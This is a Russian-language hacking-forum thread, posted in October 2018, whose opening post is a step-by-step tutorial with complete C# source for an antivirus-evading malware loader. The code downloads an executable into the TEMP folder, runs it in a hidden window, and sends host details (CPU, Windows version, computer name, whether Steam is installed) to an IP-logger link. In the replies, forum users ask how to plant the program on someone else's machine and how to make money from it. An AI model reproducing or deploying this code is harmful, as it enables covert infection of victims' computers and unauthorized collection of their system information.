Загрузка...

Creating a loader in C#

Thread in C# created by anefe Oct 27, 2018. 1383 views

  1. anefe
    anefe Topic starter Oct 27, 2018 Banned 401 Oct 28, 2017
    Привет:hi:, с тобой снова aiexz. Сегодня мы будем делать крутой FUD лоадер из говн iplogger'а и Visual Studio
    Почему мой лоадер лучше других?
    Вы можете использовать файл любого формата на своем хостинге.

    Начнем
    Создаем новый проект, выбираем консольное приложение.
    Переходим к коду, подключим библиотеки
    Code
    using System;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;
    Далее, стандартный код
    Code
    namespace aiexzBest
    {
    class Program
    {
    static void Main(string[] args)
    {
    Пишем следующий код, это ссылка на файл. ПРЯМАЯ ССЫЛКА
    Code
    string url = "Сайт для скачивания файла";
    Далее код для запуска функций
    Code
     string FileLocating = FileName();//Директория для скачиваемого файла
    Download(FileLocating,url);//Скачиваем
    RunProcess(FileLocating);//Запускаем
    Logger();//Логер
    }
    Введем функцию загрузки файла
    Code
    private static void Download(string FileLocating,string url)
    {

    WebClient WebClient = new WebClient(); //введем WebClient, с его помощью мы будем получать доступ к интернету
    WebClient.DownloadFile(new Uri(url), FileLocating + ".exe");//Скачиваем файл
    }
    Создаем логгер
    Code
    private static void Logger()
    {
    string link = "ссылка на логер";

    string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";//Название процессора
    string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

    string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; //Какая Windows установлена
    string Windows = (string)Registry.GetValue(key1, "ProductName", null);

    string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName"; //Имя ПК
    string Name = (string)Registry.GetValue(key2, "ComputerName", null);

    string key3 = "HKEY_CURRENT_USER\\Software\\Valve\\Steam"; //Есть ли steam на компьютере
    string Steam = (string)Registry.GetValue(key3, "SteamPath", null);

    string steam;
    if (Directory.Exists(Steam))
    {
    steam = "Yes";

    }
    else
    {
    steam = "No";
    }
    {
    WebRequest request = WebRequest.Create(link); //Отправляем данные на iplogger
    request.Credentials = CredentialCache.DefaultCredentials;
    ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | Threads: " + Environment.ProcessorCount) + (" | OS: " + Windows) + (" | Name: " + Name) + (" | Steam: " + steam);
    request.GetResponse();
    }

    }
    Запускаем файл
    Code
    private static void RunProcess(string FileLocating)
    {
    Process process = new Process { StartInfo = { FileName = FileLocating + ".exe", WindowStyle = ProcessWindowStyle.Hidden } }; //аргументы для запуска
    process.Start();//запуск файла

    }
    Сохраняем файл в папку TEMP
    Code
    private static string FileName()
    {
    string Temp = Path.GetTempPath(); //Получаем место папки TEMP
    string Ran1 = Path.GetRandomFileName(); //Создаем случайное название для файла
    string FileLocating = Temp + Ran1;
    return FileLocating;
    }
    }
    }
    Итого получаем такую программу
    Code
    using System;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;

    namespace ConsoleApp4
    {
    class Program
    {
    static void Main(string[] args)
    {
    string url = "ссылка на файл";
    string FileLocating = FileName();//Директория для скачиваемого файла
    Download(FileLocating,url);//Скачиваем
    RunProcess(FileLocating);//Запускаем
    Logger();//Логер
    }


    private static void Download(string FileLocating,string url)
    {

    WebClient WebClient = new WebClient();
    WebClient.DownloadFile(new Uri(url), FileLocating + ".exe");
    }
    private static void Logger()
    {
    string link = "логер";

    string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";
    string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

    string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
    string Windows = (string)Registry.GetValue(key1, "ProductName", null);

    string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";
    string Name = (string)Registry.GetValue(key2, "ComputerName", null);

    string key3 = "HKEY_CURRENT_USER\\Software\\Valve\\Steam";
    string Steam = (string)Registry.GetValue(key3, "SteamPath", null);

    string steam;
    if (Directory.Exists(Steam))
    {
    steam = "Yes";

    }
    else
    {
    steam = "No";
    }
    {
    WebRequest request = WebRequest.Create(link);
    request.Credentials = CredentialCache.DefaultCredentials;
    ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | Threads: " + Environment.ProcessorCount) + (" | OS: " + Windows) + (" | Name: " + Name) + (" | Steam: " + steam);
    request.GetResponse();
    }

    }
    private static void RunProcess(string FileLocating)
    {
    Process process = new Process { StartInfo = { FileName = FileLocating + ".exe", WindowStyle = ProcessWindowStyle.Hidden } };
    process.Start();

    }
    private static string FileName()
    {
    string Temp = Path.GetTempPath();
    string Ran1 = Path.GetRandomFileName();
    string FileLocating = Temp + Ran1;
    return FileLocating;
    }}}
    На выходе получаем такие детекты
    https://spyralscanner.net/result.php?id=3DCc5ISKit
    #МояСтатья
     
  2. anefe
    anefe Topic starter Oct 27, 2018 Banned 401 Oct 28, 2017
    Говоришь, что говнокод-исправляй
     
  3. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    ООП юзай,его будет меньше!
     
  4. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    jordan2019, объясни, что такое ООП?
     
  5. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    парадигма)
     
  6. ExluZiver
    ExluZiver Oct 28, 2018 :sueta: Твори Добро | Твоя Совесть | Всем Счастья :sueta: 10,939 Oct 18, 2018
    Сложно, сколько по времени коды прописывали?
     
  7. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    Это элементарно!
     
  8. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    ExluZiver, если пастить, то минутное дело, а если придумывать, то минут за 30 можно придумать
     
  9. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    Какие сложные слова:angry:
    Может на вики статья есть? Или объяснение?
     
  10. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    ну гуглани что такое ООП
     
  11. Arseh
    Arseh Oct 28, 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 Jun 12, 2017
    мож мне написать тож 0 фуд лоадер
     
  12. animatrix
    animatrix Oct 28, 2018 46 Oct 26, 2018
    А как этим пользоваться?
     
  13. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    Arseh, так, этот лоадер FUD
     
  14. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    animatrix, скопировать в visual studio и скомпилировать
     
  15. Arseh
    Arseh Oct 28, 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 Jun 12, 2017
    палится будет скоро
     
  16. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    Типо твой не будет)
     
  17. animatrix
    animatrix Oct 28, 2018 46 Oct 26, 2018
    Я не про код, а про программу, она же в открытую в интернет лезет, как ее подсунуть кому-то?
     
  18. anefe
    anefe Topic starter Oct 28, 2018 Banned 401 Oct 28, 2017
    animatrix, я тебя не понимаю, это лоадер, он Файлы загружает и запускает
     
  19. Arseh
    Arseh Oct 28, 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 Jun 12, 2017
    скажешь как мани получить? больно на говне сидеть
     
  20. jordan2019
    jordan2019 Oct 28, 2018 Banned 267 Mar 21, 2018
    Иди блять браузер пиши!
     
Top
Loading...